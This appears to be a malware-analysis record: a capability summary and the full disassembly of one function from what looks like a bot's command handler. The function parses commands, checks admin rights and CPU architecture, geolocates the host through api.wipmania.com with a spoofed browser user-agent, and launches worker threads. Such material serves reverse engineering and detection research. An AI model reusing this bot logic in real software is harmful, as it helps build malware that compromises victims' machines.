Function at 0x405150
Capabilities:
Create http request
Get geographical location
Read data from internet
Receive data
Reference http user-agent string
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x4095d4]
mov dword [ebp - 4], eax
cmp dword [ebp + 0x14], 1
jge 0x405176
mov eax, 1
jmp 0x4056fa
push 0x40b9f8
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4051b3
call fcn.004046c0
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp + 0x14], 2
jge 0x4051c8
mov eax, 1
jmp 0x4056fa
push 0x40b9f0
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x405309
push 0x14
push 0
lea ecx, [ebp - 0x18]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x4095d8
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 4]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x40524c
push 0x14
push 0
lea edx, [ebp - 0x2c]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x14
lea eax, [ebp - 0x2c]
push eax
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea ecx, [ebp - 0x2c]
push ecx
push 0x4095dc
lea edx, [ebp - 0x18]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x4095e0
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x405298
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x405286
push str.ADMIN
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
jmp 0x405298
push 0x4095ec
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push 0x4095f4
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 4]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4052e6
call fcn.00404810
movzx edx, al
test edx, edx
je 0x4052d4
push str.X64
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
jmp 0x4052e6
push str.X32
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push 0
lea edx, [ebp - 0x18]
push edx
push 3
mov eax, dword [ebp + 8]
push eax
call fcn.00404d70
add esp, 0x10
mov eax, 1
jmp 0x4056fa
push 0x40b9ec
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x40534e
push 0
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 4]
push eax
push 3
mov ecx, dword [ebp + 8]
push ecx
call fcn.00404d70
add esp, 0x10
mov eax, 1
jmp 0x4056fa
cmp dword [ebp + 0x14], 3
jge 0x405363
mov eax, 1
jmp 0x4056fa
push str.djsf
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4055ed
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 8]
push ecx
call fcn.004041c0
add esp, 4
test eax, eax
je 0x4055de
push 2
push 0x28
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 8]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.00404420
add esp, 0x10
mov dword [ebp - 0x30], 0
push 0x409608
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x4054c4
push 0x40960c
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x4054c4
push 0xc8
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_6.1__WOW64__rv:22.0__Gecko_20100101_Firefox_22.0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x4054ba
push 0
push 0
push 0
push 0
push str.http:__api.wipmania.com_
mov ecx, dword [ebp - 0x40]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x4054b0
lea edx, [ebp - 0x34]
push edx
push 0xc7
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
push 0x3e
lea edx, [ebp - 0x108]
push edx
call fcn.00405130
add esp, 8
add eax, 1
mov dword [ebp - 0x3c], eax
je 0x4054b0
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 4]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4054b0
mov dword [ebp - 0x30], 1
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x40]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x409678
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
je 0x405506
push 0x40967c
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
je 0x405506
cmp dword [ebp - 0x30], 1
jne 0x4055de
push 0x100
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 8]
push eax
push 0x409680
push 0xff
lea ecx, [ebp - 0x208]
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x10
push 0x409684
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 4]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4055a9
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov dword [ebp - 0x214], eax
push 0x409688
mov edx, dword [ebp - 0x214]
push edx
call sub.MSVCRT.dll_strtok
add esp, 8
push 0x40b9bc
mov eax, dword [ebp - 0x214]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
je 0x4055a9
mov dword [ebp - 0x20c], 1
push 1
call fcn.00404990
add esp, 4
mov dword [ebp - 0x210], eax
push 0
lea ecx, [ebp - 0x210]
push ecx
push 0x401540
call fcn.00404a80
add esp, 0xc
mov edx, dword [ebp - 0x210]
imul edx, edx, 0xc
mov dword [edx + 0x40bbc8], eax
mov eax, 1
jmp 0x4056fa
cmp dword [ebp + 0x14], 4
jge 0x405602
mov eax, 1
jmp 0x4056fa
push 0x40b9f4
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4056d7
push 2
call fcn.004049f0
add esp, 4
test eax, eax
jne 0x4056ce
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call fcn.004041c0
add esp, 4
test eax, eax
je 0x4056ce
push 2
push 0x28
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
lea eax, [ebp - 4]
push eax
call fcn.00404420
add esp, 0x10
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 4]
mov dword [ebp - 0x220], eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 8]
mov dword [ebp - 0x21c], eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 0xc]
mov dword [ebp - 0x218], eax
push 2
call fcn.00404990
add esp, 4
mov dword [ebp - 0x224], eax
push 0
lea ecx, [ebp - 0x224]
push ecx
push 0x404b30
call fcn.00404a80
add esp, 0xc
mov edx, dword [ebp - 0x224]
imul edx, edx, 0xc
mov dword [edx + 0x40bbc8], eax
mov eax, 1
jmp 0x4056fa
cmp dword [ebp + 0x14], 5
jge 0x4056e6
mov eax, 1
jmp 0x4056fa
cmp dword [ebp + 0x14], 6
jge 0x4056f5
mov eax, 1
jmp 0x4056fa
mov eax, 1
mov esp, ebp
pop ebp
ret